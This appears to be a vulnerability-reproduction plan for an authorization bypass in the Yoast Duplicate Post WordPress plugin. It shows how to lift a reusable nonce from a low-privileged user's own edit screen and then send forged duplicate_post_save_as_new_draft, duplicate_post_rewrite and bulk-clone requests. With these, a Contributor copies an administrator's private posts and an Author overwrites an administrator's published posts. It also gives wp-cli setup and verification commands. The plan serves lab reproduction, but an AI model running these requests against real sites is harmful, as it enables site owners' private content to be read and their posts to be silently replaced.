Research Plan: CVE-2026-1217 - Yoast Duplicate Post Authorization Bypass

1. Vulnerability Summary

The Yoast Duplicate Post plugin (<= 4.5) contains a missing authorization vulnerability in its post duplication and "Rewrite & Republish" features. While the plugin intends to restrict these capabilities to specific roles (Editor and Administrator) by granting them a custom copy_posts capability, the functions clone_bulk_action_handler() and republish_request() fail to verify if the current user has sufficient permissions for the specific target post (or the capability in general).

This allows:

1. Contributors+ to duplicate any post (including private, draft, or trashed posts of other users) into a new draft they control.
2. Authors+ to use the "Rewrite & Republish" feature on any published post (even those owned by Administrators), allowing them to eventually overwrite the original content with their own.

2. Attack Vector Analysis

• Endpoints:
  • wp-admin/admin.php (Single post duplication/rewrite)
  • wp-admin/edit.php (Bulk action duplication)
• Actions:
  • duplicate_post_save_as_new_draft (Single duplication)
  • duplicate_post_rewrite (Initiate Rewrite & Republish)
  • duplicate_post_clone (Bulk duplication)
• Parameters:
  • post: The Target ID of the post to duplicate or rewrite.
  • _wpnonce: Security nonce (Action-specific).
• Authentication: Authenticated user with at least Contributor (for duplication) or Author (for rewriting) roles.
• Preconditions: The attacker must know the ID of the target post they wish to duplicate/overwrite.

3. Code Flow

1. Entry Point: A request is made to wp-admin/admin.php with action=duplicate_post_save_as_new_draft and a target post ID.
2. Hook Registration: In admin-functions.php, the plugin initializes via duplicate_post_admin_init(). The handlers for duplication are registered (typically via admin_action_ or load-edit.php hooks).
3. Vulnerable Function: republish_request() (for rewriting) or the logic inside clone_bulk_action_handler() executes.
4. Authorization Failure: The functions perform a generic nonce check but fail to call current_user_can( 'copy_posts' ) or current_user_can( 'edit_post', $post_id ).
5. Sink: The code proceeds to duplicate_post_create_duplicate() (in common-functions.php / Utils) which performs the SQL operations to clone the post data into a new entry.

4. Nonce Acquisition Strategy

The plugin localizes nonces and pre-built links into the duplicatePost JavaScript object on post-related admin pages.

1. Create a post: As the attacker (Contributor or Author), create a simple post of your own.
2. Navigate to Edit Page: Navigate to the edit screen of your own post.
3. Extract Nonce via Browser:
   Use browser_eval to extract the links containing nonces from the localized duplicatePost object.
   • Variable: window.duplicatePost
   • Keys: newDraftLink (for duplication) or rewriteAndRepublishLink (for rewriting).

// Example Extraction
const newDraftUrl = window.duplicatePost?.newDraftLink; 
// Result: ".../wp-admin/admin.php?action=duplicate_post_save_as_new_draft&post=MY_ID&_wpnonce=abc12345"

The nonces in this plugin for these specific actions are generally not ID-specific (they are action-specific), meaning a nonce generated for post=MY_ID will work when sent with post=TARGET_ID.

5. Exploitation Strategy

Attack A: Unauthorized Duplication (Contributor)

1. Role: Contributor.
2. Identify Target: Locate a Private or Draft post ID created by an Administrator (e.g., ID 10).
3. Get Nonce: Extract _wpnonce from the Contributor's own post edit screen as described in Section 4.
4. Forged Request:
   • URL: http://vulnerable.test/wp-admin/admin.php?action=duplicate_post_save_as_new_draft&post=10&_wpnonce=[EXTRACTED_NONCE]
   • Method: GET
5. Result: A new draft is created for the Contributor containing the content of the Admin's private post.

Attack B: Overwriting Admin Posts (Author)

1. Role: Author.
2. Identify Target: A published post ID created by an Administrator (e.g., ID 20).
3. Get Nonce: Extract _wpnonce for duplicate_post_rewrite from the Author's own post.
4. Forged Request (Initiation):
   • URL: http://vulnerable.test/wp-admin/admin.php?action=duplicate_post_rewrite&post=20&_wpnonce=[EXTRACTED_NONCE]
   • Method: GET
5. Execution: This creates a "Rewrite & Republish" copy (status: dp-rewrite-republish). The Author is redirected to edit this copy.
6. Finalize Overwrite: The Author edits the copy and clicks "Republish". Because of the missing check in the republish handler, the plugin overwrites the Administrator's original post (ID 20) with the Author's modified content.

6. Test Data Setup

1. Administrator:
   • Create a Private Post: wp post create --post_title="Admin Secret" --post_status=private --post_content="CONFIDENTIAL DATA" (ID 1).
   • Create a Published Post: wp post create --post_title="Official News" --post_status=publish --post_content="Original content." (ID 2).
2. Contributor: Create user attacker_c with role contributor. Create one post for them to access nonces.
3. Author: Create user attacker_a with role author. Create one post for them to access nonces.

7. Expected Results

• Duplication: The Contributor receives a 302 Redirect to the edit screen of a newly created post (e.g., ID 3). This new post has the same content as the Admin's private post (ID 1).
• Rewrite: The Author receives a 302 Redirect to a new post with status dp-rewrite-republish. After "Republishing," the original post (ID 2) now lists the Author as the contributor of the content and contains the Author's modifications.

8. Verification Steps

1. Verify Duplication:

   wp post get [NEW_ID] --field=post_content
   # Should match "CONFIDENTIAL DATA"
   wp post get [NEW_ID] --field=post_author
   # Should match Attacker's User ID
   

2. Verify Overwrite:

   wp post get 2 --field=post_content
   # Should show the Author's modified content, NOT "Original content."
   

9. Alternative Approaches

If the duplicatePost JS object is missing from the edit screen, the nonce can be found in the "Bulk Actions" dropdown menu on the edit.php (Post List) screen.

• The bulk action nonce is usually found in the _wpnonce parameter of the form at #posts-filter.
• The bulk action name is duplicate_post_clone.
• Request: wp-admin/edit.php?post_type=post&action=duplicate_post_clone&post[]=1&_wpnonce=[NONCE]